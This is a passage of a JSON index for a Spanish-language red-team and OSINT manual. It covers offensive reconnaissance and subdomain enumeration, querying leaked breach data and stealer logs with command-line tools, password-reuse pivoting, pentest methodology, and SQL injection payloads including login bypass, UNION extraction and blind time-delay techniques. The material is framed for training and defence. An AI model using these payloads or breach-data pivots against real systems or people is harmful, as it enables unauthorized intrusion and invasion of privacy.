Censys, crt.sh, GitHub, WHOIS histórico— es pasivo: se consultan motores que ya escanearon internet, y el objetivo no registra una sola conexión anómala. El reconocimiento activo —escanear los puertos del objetivo, forzar sus subdominios contra sus propios servidores de nombres, enumerar sus buckets— es donde empiezan las huellas. La disciplina profesional, y la que las reglas de enganche de un engagement exigen (el scoping de 3.1), es agotar lo pasivo primero y reservar lo activo para cuando ya hay un objetivo definido y autorizado.\nSobre ese orden se monta la segunda idea, la que separa al atacante paciente del oportunista: el recon es monitoreo continuo, no un evento. En lugar de un escaneo puntual, se instala vigilancia permanente de la superficie. La técnica canónica es el Nmap diffing: un cron diario corre nmap y usa ndiff para comparar el resultado de hoy con el de ayer y alertar los puertos nuevos. Un Masscan permite barridos masivos —internet entero en minutos, aunque poco fiable para el diffing en rangos grandes—, y las herramientas de captura de pantalla web (EyeWitness, HTTPScreenshot) generan un mapa visual de cientos de aplicaciones, paneles RDP y VNC de un vistazo, para priorizar sin abrir cada una.\n$ # Nmap diffing: cron diario que alerta puertos nuevos (recon como vigilancia) d=$(date +%F); y=$(date -d yesterday +%F) nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 203.0.113.0/24 \u003e/dev/null 2\u003e\u00261 [ -e /opt/nmap_diff/scan_$y.xml ] \u0026\u0026 ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml \u003e diff.txt # mapa visual de la superficie web desde un escaneo de nmap nmap 203.0.113.0/24 --open -p 80,443 -oX scan.xml python EyeWitness.py -x scan.xml --web ⧉ copiar La nube rompió el escaneo por rango; los certificados lo resolvieron El escaneo por rango de IP daba por sentada una infraestructura propia con bloques asignados. La nube lo rompió: un objetivo alojado en AWS puede estar en cualquier IP de un /13 repartido en cualquier región, con direcciones dinámicas y sin bloque atribuible —un nmap por rango no lo encuentra—. La solución es pasiva e indirecta, y extiende la técnica de certificados de 2.4 hacia el ataque: parsear los certificados SSL. Censys ya scrapea los certificados de todo internet, y como el Common Name y los Subject Alternative Names llevan el hostname real del servidor —incluidos los internos int., dev., vpn., que no responden por IP pública—, el certificado revela dónde está alojado el objetivo y qué servidores internos existen. La misma lógica corre a mano con una herramienta como sslScrape, que escanea el puerto 443 de un rango y extrae los hostnames de cada certificado. Es el ejemplo más limpio del capítulo: un dato pensado para dar confianza —el certificado que cifra el tráfico— delata la topología que se quería ocultar.\nEnumeración de subdominios Cada subdominio es un candidato de entrada, y el objetivo casi siempre tiene más de los que publica. Los rangos se obtienen de los registros regionales (ARIN, RIPE y pares). Los subdominios se descubren por tres caminos de riesgo creciente. El bruteforce por diccionario (Knock y listas como las de SecLists) prueba nombres comunes —webmail, ftp, vpn, dev— contra los servidores de nombres del objetivo: es efectivo pero activo y ruidoso. La consulta vía buscadores (Sublist3r) extrae subdominios ya indexados sin tocar al objetivo, aunque arriesga captchas. Y la vía más elegante es el bruteforce a través de resolvedores DNS abiertos (SubBrute con MassDNS): al preguntar a resolvedores públicos en lugar de a los del objetivo, evita el rate-limit y no deja huella en los servidores de nombres de la víctima —anonimato y velocidad a la vez—. Los frameworks de descubrimiento (Discover Scripts, y hoy Amass o amass enum) orquestan las tres vías y las cruzan con las fuentes pasivas. El producto es la lista de dev, staging y vpn que 2.4 anticipó: la puerta trasera arquitectónica de casi toda organización.\nSecretos en GitHub y almacenamiento en la nube Dos fuentes convierten el recon en acceso casi inmediato. La primera es GitHub, que filtra los secretos que sus dueños creen borrados: cuando un desarrollador sube por error una clave de AWS, una contraseña o un hostname interno y luego lo elimina, Git conserva el archivo en el historial de commits —el borrado da una falsa sensación de seguridad—. TruffleHog y git-all-secrets recorren todo el historial y todas las ramas buscando cadenas de alta entropía (claves, tokens) que delatan un secreto. La segunda fuente es el almacenamiento en la nube, que amplifica lo visto en 2.3 y 2.4: los buckets S3 se enumeran (Slurp, Bucket Finder) y se abusan con la propia awscli —s3 ls y s3 sync para leer y descargar todo, get-bucket-acl para leer permisos—; y un bucket con escritura global cuyos archivos se sirven en las páginas de la aplicación escala de fuga de datos a ejecución de código, porque modificar esos archivos inyecta contenido malicioso en los servidores web del objetivo. El pariente de esta clase es el subdomain takeover: un CNAME colgante que apunta a un servicio de terceros ya dado de baja (S3, Heroku, GitHub Pages) permite reclamar ese hostname del objetivo y servir desde él. La cosecha se cierra con la de correos (formato corporativo de 2.2, SimplyEmail, brechas), que arma la lista de destinatarios del spear phishing —el puente hacia la ingeniería social—.\nDefensa, encuadre púrpura y detección El rasgo que define la defensa de este capítulo es incómodo: buena parte del recon ofensivo es invisible. Como lo pasivo no toca al objetivo, no hay nada que detectar en el perímetro, y la defensa deja de ser detección para volverse postura y gestión de superficie externa (attack surface management, la disciplina que 2.4 introdujo).\nflowchart TD A[\"Recon ofensivo\\n(mayormente pasivo = invisible)\"] B[\"","section":"P2 · Reconocimiento y OSINT","summary":"El capítulo bisagra de P2: reorienta todo el mapa OSINT hacia el ataque. Las ramas anteriores coleccionaban inteligencia sobre personas, contenido e infraestructura; aquí el mismo instrumental se dirige a la superficie de ataque de una organización, y dos ejes lo ordenan —pasivo frente a activo (el reconocimiento que el objetivo nunca percibe frente al que deja huella) y puntual frente a continuo (la ventaja real del atacante es el tiempo: vigilar la superficie y capturar la ventana en que algo se expone)—. La nube rompió el escaneo por rango y los certificados SSL lo resolvieron; GitHub filtra los secretos «borrados»; un bucket mal permisado escala de lectura a ejecución. El resultado es la lista de objetivos que alimenta la explotación (3.1) y el recon interno de Active Directory (4.1).","tags":["osint","recon","attack-surface","subdominios","red-team","deteccion"],"title":"2.5 · Recon ofensivo: superficie de ataque, subdominios y monitoreo continuo","url":"/speculum/p2-recon-osint/2-5-recon-ofensivo/"},{"content":"Panorama La identidad (2.2) presentó los datos de brechas como «la técnica más valiosa» del oficio; este capítulo la lleva a su forma completa y, al hacerlo, cierra la Parte 2 y el bloque rojo del manual. La idea central es un cambio de postura: en lugar de consultar servicios que indexan brechas ajenas, el investigador arma su propia colección offline de datos filtrados y la interroga con sus propias herramientas. Y de ahí la lección más importante, la que sobrevive a cualquier dataset: lo durable no son las URLs de descarga —caducan cada semana— sino la cadena de herramientas de línea de comandos para limpiar y consultar volcados de gigabytes sin una base de datos indexada.\nEl material se ordena en cuatro capas de invasividad creciente. Los leaks son datos que nunca debieron publicarse así —padrones, listas de spam, scrapes masivos—. Las breaches son bases robadas que incluyen credenciales. Los stealer logs son la fotografía completa de una máquina infectada por malware. Y los volcados de ransomware son terabytes de documentos internos publicados por extorsión. Cada capa expone más y pertenece a una zona legal y ética más delicada, y el capítulo entero está gobernado por un encuadre explícito —el que Bazzell llama Pre-Crime unit—: se ingiere el dato para notificar a los comprometidos y desanonimizar criminales, nunca para acceder a cuentas ni redistribuirlo. Ese encuadre no es un adorno moral: es la línea legal y, como se verá al cierre, la puerta directa al trabajo del analista azul.\nflowchart TD L[\"Leaks\\n(padrones · spam · scrapes)\"] B[\"Breaches\\n(+ credenciales)\"] S[\"Stealer logs\\n(máquina infectada completa)\"] R[\"Ransomware\\n(volcados por extorsión)\"] L --\u003e B --\u003e S --\u003e R L -.-\u003e|\"email → dossier\"| P[\"Portal interno\\n(email → nombre → DL →\\ndirección, en segundos)\"] B -.-\u003e|\"reúso de contraseña\"| P S -.-\u003e|\"HWID → todas las cuentas\"| P R -.-\u003e|\"OCR de IDs escaneados\"| P P -.-\u003e|\"notificar / atribuir\"| BLUE[\"workflow blue (P5)\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class L,B,S,R,P,BLUE n;La cadena de herramientas: consultar terabytes sin base de datos El investigador no depende de una base indexada: descarga el volcado y lo procesa con utilidades de Unix. La secuencia es siempre la misma. Se fusionan los archivos (cat * \u003e salida.txt), se busca con Ripgrep —rg -aFiN patrón, donde -a trata el binario como texto, -F toma el patrón literal, -i ignora mayúsculas y -N omite el número de línea—, que recorre terabytes a máxima velocidad sin índice, y se adelgaza el dataset para acelerar las consultas siguientes. sed sustituye y limpia (normaliza separadores, quita comillas), cut -d, -f4,5,20 extrae solo las columnas útiles de un CSV de doscientas (con LC_ALL=C por delante para evitar el error de secuencia de bytes), y sort -u deduplica. Cuando el dato viene en JSON —un registro puede ocupar varias pantallas—, jq lo aplana a una línea por entrada. Dominar este puñado de comandos convierte un volcado de 118 GB en un .txt manejable, y es lo único que no caduca.\n$ # fusionar, buscar sin índice, adelgazar cat * \u003e breach.txt rg -aFiN objetivo@ejemplo.com breach.txt # búsqueda literal a máxima velocidad rg -aFiN \"Michael\" breach.txt | rg -aFiN \"Bazzell\" # AND encadenando pipes LC_ALL=C cut -d, -f4,5,20 *.csv \u003e columnas.csv # extraer solo lo útil sort -u -b -i -f columnas.csv \u003e final.txt # deduplicar + ordenar # aplanar JSON a una línea por registro jq --raw-output '\"\\(.data.first_name),\\(.data.work_email),\\(.data.mobile_phone)\"' people.json \u003e people.txt ⧉ copiar Leaks y open databases: de un email a un dossier Un leak convierte un identificador en un perfil que ningún sitio público entrega: una lista de spam liga un correo a nombre real, ciudad e IP; el breach de Snapchat resuelve username a teléfono y —a diferencia de los sitios que exigen el dato exacto— permite búsqueda parcial (topher4* devuelve candidatos); el scrape de LinkedIn de 2021, con cientos de millones de perfiles, enlaza URL de perfil, correo y celular. Un pariente cercano son las open databases: instancias de Elasticsearch mal configuradas, halladas en Shodan (product:elastic port:9200) y leídas por URL (_cat/indices lista los índices, _search?size= muestra los registros) —el mismo tipo de exposición en la nube que rastreó la infraestructura (2.4)—.\nAquí la línea legal se estrecha. Leer un dato que ya es público es reconocimiento de fuentes abiertas; pero manipular una URL para extraer de una base ajena, y sobre todo usar el dato para vender, extorsionar o publicar, cae bajo leyes de intrusión informática como la CFAA, cuyo alcance es deliberadamente amplio. La proporcionalidad y las reglas de enganche de 2.1 aplican con máxima fuerza en todo este capítulo: cuanto más sensible es la fuente, más estrecho el margen entre la investigación legítima y el delito. Breaches y la técnica estrella: el reúso de contraseña Las breaches son bases robadas que incluyen credenciales, y los combo-lists —como COMB, con miles de millones de pares correo:contraseña de muchas brechas fusionadas— las concentran. Sobre ellas opera la técnica que Bazzell llama, sin matices, la más exitosa que ha aplicado: el reúso de contraseña. Dado el correo de un objetivo, se obtiene su contraseña y luego se busca esa contraseña en la colección (rg -aFiN \u003cclave\u003e); lo que aparece son las demás cuentas que la reúsan, incluido el correo personal que se escondía detrás de un burner. La confianza escala con la unicidad de la clave: password1234, que aparece en cientos de sitios, no prueba nada; una contraseña compleja compartida entre dos cuentas es casi con certeza la misma persona. La misma consulta por dominio (rg -aFiN @empresa.com) devuelve todas las credenciales de una organización.\nCuando la brecha guarda la contraseña hasheada —transformada por una función de una vía—, hay un paso previo. Se identifica el tipo de hash con herramientas como Name-That-Hash (MD5 y SHA-1 son frágiles; SHA-256/512 con salt son duros o casi imposibles) y se revela el texto plano buscándolo contra los archivos de hashes ya descifrados (hashes.org, HashMob) o con servicios en línea. Con la contraseña en claro se re-pivota por reúso. Este descifrado de hashes es el mismo procedimiento que la cosecha de credenciales (4.5) aplica sobre los volcados de NTDS.dit con hashcat: en ambos lados, un hash filtrado es una contraseña que todavía no se leyó.\nStealer logs: la fotografía completa de una máquina infectada Los stealer logs son lo que un infostealer —Redline, Raccoon, Vidar— exfiltra de un Windows infectado (a través de software pirata o una web maliciosa), y son la fuente más completa del capítulo. Cada víctima produce una carpeta cuyo nombre lleva país, identificador de hardware (HWID) y fecha, y dentro está todo: los Autofills del navegador (nombre, dirección, fecha de nacimiento, tarjetas), las Cookies —que permiten el robo de sesión: con la cookie de una cuenta no hace falta la contraseña—, un Passwords.txt con todas las credenciales guardadas en el navegador, la lista de software instalado (qué VPN o qué juegos usa, base para un pretexto de ingeniería social), una captura del escritorio y los datos de hardware con la IP. Se distribuyen en canales de Telegram que regalan muestras como promoción, y se pivotan por correo, por contraseña o —el salto único— por HWID o nombre de dispositivo: un solo identificador de máquina destapa todas las cuentas de esa persona.\nEste es también el punto donde el capítulo se vuelve, sin transición, un indicador de compromiso. La presencia de un correo corporativo en un stealer log no es un dato de perfil: significa que una máquina de la organización está infectada por malware, y —crucial— que el atacante tiene las cookies de sesión, de modo que la respuesta no es solo cambiar la contraseña sino invalidar las sesiones, porque una cookie robada replica el acceso saltando incluso el MFA. Ese robo de cookie de sesión es el primo web del pass-the-hash que estudió el web moderno (3.5) con la sesión y el token.\nRa","section":"P2 · Reconocimiento y OSINT","summary":"El capítulo que cierra P2 —y con ella el bloque rojo— desarrolla en profundidad la «técnica más valiosa» que 2.2 introdujo: el investigador arma su propia colección offline de datos filtrados y la consulta. La habilidad durable no son las URLs (caducan) sino la cadena de herramientas de línea de comandos para procesar datasets gigantes sin una base indexada. La taxonomía tiene cuatro capas de invasividad creciente —leaks, breaches, stealer logs y ransomware— y su técnica estrella es el reúso de contraseña: hallar la clave de un objetivo revela las demás cuentas que la reúsan. El encuadre ético que gobierna todo —ingerir el dato para notificar a los comprometidos, jamás acceder a cuentas ni redistribuir— es a la vez la línea legal y la puerta al bloque azul.","tags":["osint","breach-data","stealer-logs","credential-access","cti","deteccion"],"title":"2.6 · Leaks, breaches y stealer logs: procesar y pivotar datos filtrados","url":"/speculum/p2-recon-osint/2-6-leaks-breaches/"},{"content":"Panorama La Parte 3 recorre la explotación en detalle —web, exploit-dev binario, C2, evasión, escalada—, pero ninguna de esas técnicas rinde sin un método que las encadene. Este capítulo inaugural aporta ese método: no una técnica más, sino el marco que ordena a todas las demás. Un intrusión real casi nunca se gana con un solo exploit espectacular; se gana enlazando hallazgos modestos —un fichero legible, una credencial reutilizada, un servicio mal configurado— en una cadena que va del perímetro al objetivo. La metodología es la disciplina de construir esa cadena de forma sistemática y repetible, no por golpes de suerte.\nDos textos cimentan el capítulo desde ángulos complementarios. Uno es la mentalidad del examen práctico: la regla de que no se puede atacar lo que se pasó por alto, la naturaleza cíclica de la enumeración, y la observación de que cada credencial es la llave de la cerradura siguiente. El otro es el encuadre profesional del red team: la distinción entre buscar vulnerabilidades y medir la capacidad de detección del cliente, el concepto de assumed breach, y la idea —contraintuitiva para quien viene del pentest clásico— de que ser descubierto es parte de la evaluación. Entre ambos definen qué es hacer esto bien.\nEl capítulo avanza así: primero, qué separa un pentest de un red team, porque el objetivo cambia todo lo demás. Después, las fases del engagement como un ciclo de vida, mapeadas a los marcos estándar. Luego, los dos principios operativos que sostienen la ejecución —enumeración exhaustiva y cíclica, y el encadenamiento de credenciales—, ilustrados con una cadena completa del perímetro a Domain Admin. A continuación, el andamiaje que hace profesional al trabajo: scoping, reglas de enganche, infraestructura y el reporte como entregable. Y al cierre, la vuelta púrpura: por qué esta misma metodología es el mapa que el defensor usa para saber dónde instrumentar.\nPentest y red team: dos objetivos, dos métodos La distinción no es de herramientas sino de pregunta. Un pentest responde: «¿qué vulnerabilidades tiene este sistema y hasta dónde se puede llegar explotándolas?». Optimiza por cobertura: mapear la superficie de ataque completa, encontrar y demostrar el mayor número de fallos accionables dentro del alcance. Un red team responde una pregunta distinta: «¿detecta y contiene esta organización a un adversario real que ya está dentro?». Optimiza por sigilo y realismo: emula a un actor concreto, y su métrica de éxito no es cuántas vulnerabilidades encontró, sino qué pasos del ataque pasaron inadvertidos para el equipo defensivo.\nDe esa diferencia de objetivo nace el assumed breach exercise. El red team moderno parte de un supuesto incómodo pero honesto: siempre habrá un 0-day, y por tanto la prevención perfecta del acceso inicial es una meta inalcanzable. En vez de gastar la evaluación intentando cruzar el perímetro, el ejercicio asume que el adversario ya entró —se le entrega al equipo un punto de apoyo o un payload custom a ejecutar— y mide lo que importa de verdad: si el cliente detecta y mitiga los pasos secundarios y terciarios (el reconocimiento interno, la escalada, el movimiento lateral, la exfiltración). Bajo este encuadre, que una defensa queme la infraestructura del atacante al descubrirlo no es un fracaso del ejercicio: es exactamente el resultado que demuestra que las defensas funcionan.\nEsta filosofía —asumir la brecha y medir la respuesta— es el puente conceptual entre la ofensiva y la defensa que recorre todo este manual. Es la misma tesis que ordena 4.9 · Defensa de AD: un ataque no es un evento aislado sino una historia que se detecta por correlación. El red team construye esa historia; el blue team la lee. Por eso un capítulo de metodología ofensiva es, leído al revés, un capítulo de estrategia defensiva. Las fases del engagement como ciclo de vida Todo compromiso, sea pentest o red team, recorre una secuencia de fases que los marcos de la industria —el Cyber Kill Chain de Lockheed Martin, el PTES (Penetration Testing Execution Standard), las tácticas de MITRE ATT\u0026CK— formalizan con nombres distintos pero estructura equivalente. Reducida a su esqueleto operativo:\nflowchart TD PRE[\"Pre-engagement\\nscoping · reglas de enganche · autorización\"] --\u003e RECON[\"Reconocimiento\\n(externo → P2 OSINT)\"] RECON --\u003e FOOT[\"Acceso inicial\\n(foothold: web/phishing/servicio)\"] FOOT --\u003e ENUM[\"Enumeración local\\n(el ciclo — se reinicia con cada acceso)\"] ENUM --\u003e PRIV[\"Escalada de privilegios\\n(→ 3.9)\"] PRIV --\u003e CRED[\"Acceso a credenciales\\n(cada secreto es una llave)\"] CRED --\u003e LAT[\"Movimiento lateral\\n(→ 4.8 / P4)\"] LAT --\u003e ENUM LAT --\u003e IMPACT[\"Objetivo / impacto\\n(exfiltración · DA · datos)\"] IMPACT --\u003e REP[\"Reporte\\n(el entregable real)\"] REP -.-\u003e|\"lecciones aprendidas\\nrealimentan la postura\"| PREEl rasgo esencial del diagrama es el lazo de retorno de movimiento lateral hacia enumeración: las fases no son una escalera lineal que se sube una vez, sino un ciclo que se reinicia con cada nuevo acceso. Cada máquina comprometida es un punto de observación nuevo desde el que enumerar la red otra vez, y ese bucle —no un exploit lineal— es lo que lleva del perímetro al dominio. El reconocimiento externo que abre el ciclo pertenece a su propia disciplina y se desarrolla en la Parte 2 (OSINT y recon, 2.1 · Metodología OSINT); la escalada local en 3.9 · Escalada de privilegios; el movimiento lateral, ya en el dominio, en 4.8 · Movimiento lateral.\nPrincipio operativo I: enumeración exhaustiva y cíclica Si hay una sola regla que la metodología no permite saltar, es la enumeración completa. La formulación canónica es tajante: no se puede atacar lo que se pasó por alto, y por tanto hay que mapear la superficie de ataque entera de cada máquina y servicio accesible dentro del alcance antes de sacar conclusiones. La consecuencia práctica choca con el instinto: encontrar un vector accionable no interrumpe la enumeración. Se recolecta toda la información, se la prioriza, y recién entonces se atacan los vectores en orden de rentabilidad. El quick win que detiene el barrido es una trampa: la máquina sin vector directo puede ser, más adelante, el pivote dual-homed que conecta dos redes o la fuente de las credenciales cacheadas que abren el dominio.\nEl segundo filo del mismo principio es su naturaleza cíclica. Obtener privilegios administrativos en un sistema no es la señal para saltar de inmediato al siguiente objetivo, sino para volver a empezar la enumeración: con privilegios elevados se pueden examinar áreas antes inaccesibles —memoria de procesos, ficheros de configuración protegidos, historiales, sesiones de otros usuarios— que suelen contener el material del salto siguiente. La enumeración local, con herramientas de reconocimiento automatizado como linpeas/winPEAS, no es un paso único sino el estado por defecto entre cada acción.\nLa automatización de la enumeración (linpeas, winPEAS, BloodHound) acelera pero no exime de leer la salida. La disciplina es verificar cada hallazgo del tool, no confiar ciegamente: el falso negativo de un script —un permiso que no marcó, un fichero que no listó— es exactamente el vector que el operador cuidadoso encuentra a mano y el descuidado pierde. Principio operativo II: las credenciales encadenan el ataque El segundo principio es que un compromiso completo rara vez es un exploit, sino una composición de secretos: cada credencial obtenida es la llave de la cerradura siguiente, y el reuso de contraseñas entre cuentas y máquinas es lo que hace posible el encadenado. Gestionar ese material de forma estructurada —un registro de credenciales como parte de la infraestructura del engagement, no como trámite— es lo que permite ver la ruta cuando aparece.\nLa cadena documentada contra un objetivo corporativo típico ilustra el principio de punta a punta. Cada eslabón es una técnica que vive en su propio capítulo; lo que la metodología aporta es el encadenado:\nRecon del perímetro revela un WordPress con un plugin vulnerable (un LFI n","section":"P3 · Explotación y Red Team","summary":"El capítulo que abre la Parte 3 y enmarca todo lo que sigue: qué distingue un pentest de un red team (y qué es un assumed breach), las fases del engagement como ciclo de vida, el mindset de enumeración exhaustiva y cíclica, cómo las credenciales encadenan el ataque, y por qué la metodología del atacante es también el mapa del defensor.","tags":["metodologia-pentest","red-team","kill-chain","scoping","purple-team","mitre-attack"],"title":"3.1 · Metodología de pentest: del scoping al reporte","url":"/speculum/p3-red-team/3-1-metodologia-pentest/"},{"content":"Panorama Bajo la variedad aparente de la inyección web hay una sola idea. Un intérprete —el motor SQL, el shell del sistema operativo, el parser de XML, el resolvedor de rutas del filesystem, el servidor SMTP— procesa una mezcla de dos cosas: las instrucciones que escribió el programador y los datos que aporta el usuario. Mientras los datos se queden en su contexto de datos, todo funciona. La inyección es el acto de romper ese contexto: con la sintaxis especial del lenguaje del intérprete, el input del atacante escapa del lugar donde debía ser un valor inerte y pasa a interpretarse como instrucción. A partir de ahí, el atacante no manipula el dato: reescribe la orden.\nLa consecuencia estructural es la que hace a esta familia tan grave. La aplicación web actúa como el control de acceso de sus componentes back-end, y los accede con un único nivel de privilegio —una cuenta de base de datos, el contexto del proceso del servidor web, un usuario de sistema—. Una inyección que altera la instrucción que la aplicación envía a ese componente no burla un control puntual: burla el modelo de acceso entero de la capa de aplicación de un solo golpe. Un WHERE reescrito devuelve datos que ninguna pantalla debía mostrar; un comando de shell inyectado corre con los permisos del servidor web; una entidad XML externa lee cualquier archivo que el proceso pueda abrir.\nEste capítulo recorre la familia server-side ordenada por el intérprete que se ataca —no por la herramienta—, porque el intérprete es lo que determina la sintaxis del escape y, sobre todo, la forma de la defensa. Empieza por el arquetipo, la inyección SQL, donde todos los patrones (detección, extracción, explotación ciega, escalada, evasión de filtros) aparecen por primera vez y con más profundidad. Sigue con sus primas de otras bases de consulta (NoSQL, XPath, LDAP), la inyección de comandos de sistema operativo, el recorrido del filesystem (path traversal, LFI, RFI), el XXE en detalle, y las inyecciones que abusan de los requests que el servidor hace hacia atrás (SSRF, parameter pollution, SOAP, mail). Y cierra con la lección que las une: existe un solo patrón de defensa completo, y es siempre el mismo —separar el código de los datos—, declinado según cada intérprete. Todo esto se apoya en el mapa de la superficie de ataque que arma la 3.1 · Metodología: cada parámetro, cookie o cabecera es un punto de entrada a probar.\nflowchart TD IN[\"Input del usuario\\n(parámetro / cookie / header / body)\"] --\u003e CTX{\"¿A qué intérprete\\nllega el dato?\"} CTX --\u003e|\"motor SQL\"| SQL[\"SQL injection\\n(3.2 · núcleo)\"] CTX --\u003e|\"shell del OS\"| CMD[\"OS command injection\"] CTX --\u003e|\"filesystem\"| TRAV[\"Path traversal / LFI / RFI\"] CTX --\u003e|\"parser XML\"| XXE[\"XXE\"] CTX --\u003e|\"request back-end\"| SSRF[\"SSRF · HPP · SOAP · mail\"] SQL --\u003e DEF[\"Defensa transversal:\\nseparar código de datos\"] CMD --\u003e DEF TRAV --\u003e DEF XXE --\u003e DEF SSRF --\u003e DEF DEF --\u003e|\"parametrización · APIs seguras ·\\nentidades off · egress filtering ·\\nmínimo privilegio\"| SAFE[\"La clase entera\\nqueda negada\"]Inyección SQL: el arquetipo La inyección SQL es el caso canónico porque en él aparecen, por primera vez, todos los movimientos que reaparecen en las demás familias. El ejemplo mínimo es un login: la consulta SELECT * FROM users WHERE username='marcus' AND password='secret' se rompe con un nombre de usuario admin'--, donde la comilla cierra el literal de cadena y el -- comenta el resto de la consulta, eliminando el chequeo de contraseña. La variante ' OR 1=1-- devuelve todos los usuarios, y la mayoría de las aplicaciones procesan el primero —el administrador—. El punto de entrada no es solo el SELECT: un INSERT inyectable crea cuentas con privilegios arbitrarios, y un UPDATE es peligrosísimo, porque un admin' OR 1=1-- inyectado en la cláusula de un UPDATE reescribe la contraseña de todos los usuarios (el 1=1 siempre es verdadero).\nProbar una inyección en un sistema en producción puede ser destructivo. Hay aplicaciones que ejecutan un UPDATE con el nombre de usuario tras un login exitoso; el mismo payload que sondea el login puede entonces arrasar una tabla entera. La regla profesional —de la metodología— es respaldo y consentimiento explícito del dueño antes de sondear escrituras. Detección: comilla, número, estructura La detección es sistemática y cubre tres contextos. En un contexto de cadena, una comilla simple provoca un error o una divergencia; dos comillas juntas ('', que el motor interpreta como una comilla escapada) restauran el comportamiento normal, confirmando la inyección; y una concatenación equivalente a un valor benigno —'||'FOO en Oracle, '+'FOO en MS-SQL, ' 'FOO en MySQL— lo verifica sin disparar el error. En un contexto numérico, donde el dato no va entre comillas, se usa una expresión equivalente: 67-ASCII('A') da 2 y confirma que el motor está evaluando el input como código. Y en el tercer contexto, la estructura de la consulta, el input cae en un ORDER BY o en un nombre de columna, donde no hace falta ninguna comilla porque el valor ya forma parte de la sintaxis: 1 ASC/1 DESC lo confirma. Este último caso importa porque no se cura con consultas parametrizadas —los nombres de columna y las palabras clave no son parametrizables—, y por eso sigue vivo en aplicaciones modernas por lo demás bien escritas.\nExtracción: UNION cuando vuelven resultados Cuando la aplicación devuelve los resultados de la consulta en la respuesta, la vía más rápida es UNION SELECT, que combina una segunda consulta con la primera. Tiene dos requisitos: el mismo número de columnas y tipos compatibles. El valor NULL se convierte a cualquier tipo, así que se prueba ' UNION SELECT NULL--, luego NULL,NULL--, incrementando hasta que la consulta se ejecuta —eso revela el número de columnas—; después se reemplaza cada NULL por 'a' para hallar cuál acepta cadenas. (En Oracle todo SELECT exige un FROM, de ahí FROM DUAL.) Con eso resuelto, falta conocer los nombres de tabla y columna: los aporta el metadato del propio motor, information_schema.columns (MS-SQL, MySQL, Postgres, SQLite) o all_tab_columns (Oracle), donde se puede buscar directamente por nombre de columna interesante (WHERE column_name LIKE '%PASS%') y concatenar table_name||':'||column_name para devolverlo todo en un único campo de texto.\nExplotación ciega: inferencia, error, tiempo Cuando la consulta se ejecuta pero sus resultados no vuelven en la respuesta, hay una escalera de cuatro técnicas, de la más cómoda a la más lenta:\nRecuperar como número. ASCII(SUBSTRING('Admin',1,1)) devuelve el carácter en forma numérica, byte a byte, si algún valor numérico sí se refleja. Inferencia por respuesta condicional. admin' AND 1=1-- y admin' AND 1=2-- producen respuestas distintas; sobre esa diferencia, admin' AND ASCII(SUBSTRING('Admin',1,1))=65-- extrae cada byte por bisección. Error condicional (la técnica de Litchfield). Cuando nada visible cambia, se induce un error contingente: SELECT 1/0 FROM dual WHERE (SELECT ...)='X' — el motor solo evalúa la división por cero si la condición es verdadera, así que un HTTP 500 señala «condición cierta». Retardo temporal. El último recurso, y también la forma más fiable de detectar una inyección ciega total: if ASCII(SUBSTRING(...))=65 waitfor delay '0:0:5' en MS-SQL, sleep()/benchmark() en MySQL, PG_SLEEP en Postgres. Extrae datos aun sin ninguna diferencia observable salvo el tiempo de respuesta. flowchart TD START[\"SQLi confirmada\"] --\u003e Q1{\"¿Vuelven los\\nresultados?\"} Q1 --\u003e|\"sí\"| UNION[\"UNION SELECT\\n+ information_schema\"] Q1 --\u003e|\"no\"| Q2{\"¿Respuesta\\ncondicional distinta?\"} Q2 --\u003e|\"sí (contenido)\"| INF[\"Inferencia booleana\\nASCII/SUBSTRING\"] Q2 --\u003e|\"sí (error 500)\"| ERR[\"Error condicional\\n1/0 (Litchfield)\"] Q2 --\u003e|\"no\"| TIME[\"Time delay\\nWAITFOR / sleep()\"] UNION --\u003e ESC[\"Escalada a DB / OS\"] INF --\u003e ESC ERR --\u003e ESC TIME --\u003e ESC ESC --\u003e OOB[\"Canal out-of-band\\n(DNS / HTTP / OUTFILE)\"]Escalada al motor y al sistema operativo Una inyección SQL rara vez termina en la lectura de una tabla. En MS-","section":"P3 · Explotación y Red Team","summary":"La familia de inyección server-side bajo una sola tesis: toda inyección es romper el contexto de datos de un intérprete para que el input se ejecute como instrucción. SQLi (detección, UNION, blind, escalada a OS, SQLMap y tamper scripts), inyección de comandos de OS, path traversal/LFI/RFI, XXE en profundidad (file://, php://filter, SSRF, expect:// RCE, quadratic blowup) y SSRF/HPP/SOAP/mail — con la defensa transversal que las niega a todas: separar código de datos.","tags":["web","sql-injection","command-injection","xxe","ssrf","path-traversal","waf-bypass","purple-team"],"title":"3.2 · Web I — Inyección: romper el contexto de datos","url":"/speculum/p3-red-team/3-2-web-inyeccion/"},{"content":"Panorama Los capítulos de inyección atacan al servidor: rompen el contexto de datos de un intérprete para reescribir la orden que la aplicación ejecuta (ver 3.2 · Inyección). Esta clase mira en la dirección contraria. La vulnerabilidad sigue viviendo en la aplicación, pero el objetivo ya no es el back-end: es otro usuario —normalmente uno más privilegiado, un administrador con sesión activa—. La aplicación es solo el vehículo; la víctima real está del otro lado de la pantalla.\nBajo la variedad de técnicas hay una sola idea, y es el reverso de la anterior. Toda esta familia explota la confianza que el navegador deposita en el origen. El browser trata al código y a los datos que llegan desde un dominio como legítimos de ese dominio, y adjunta las credenciales de la víctima —la cookie de sesión— a cada request que sale hacia él, sin importar quién originó ese request. La same-origin policy, la barrera que supuestamente aísla a un sitio de otro, es a la vez lo que hace posibles estos ataques y lo que el atacante trabaja para eludir. Todo se reduce a dos preguntas sobre la sesión de la víctima:\n¿Puedo ejecutar mi código en el contexto de su origen? Si sí, hereda todo lo que ese origen puede hacer: leer sus cookies, actuar como ella, reescribir la página que ve. Esa es la familia XSS. ¿Puedo forzar que su sesión emita una acción que yo elijo, sin ejecutar código? Si sí, no necesito robar nada: uso su sesión ya autenticada como ariete. Esa es la familia de la request forgery (CSRF/OSRF), el clickjacking y sus parientes. Este capítulo recorre las dos ramas. Empieza por el XSS —la vulnerabilidad web más prevalente y la que más lejos llega cuando se explota bien— con su arsenal de evasión de filtros, que es lo que lo hace un caso de estudio. Sigue con la request forgery, el clickjacking y la captura de datos cross-domain, que funcionan justamente donde el XSS no llega. Y cierra con las grietas de la same-origin policy y la lección que une a toda la clase: la defensa no es un parche por técnica, sino tres controles estructurales —codificar la salida, atar cada acción sensible a un secreto impredecible, y no dejar que un origen ajeno hable por el propio—. Todo se apoya en el mapa de la superficie de ataque de 3.1 · Metodología: cada parámetro, cookie o cabecera que se refleja en 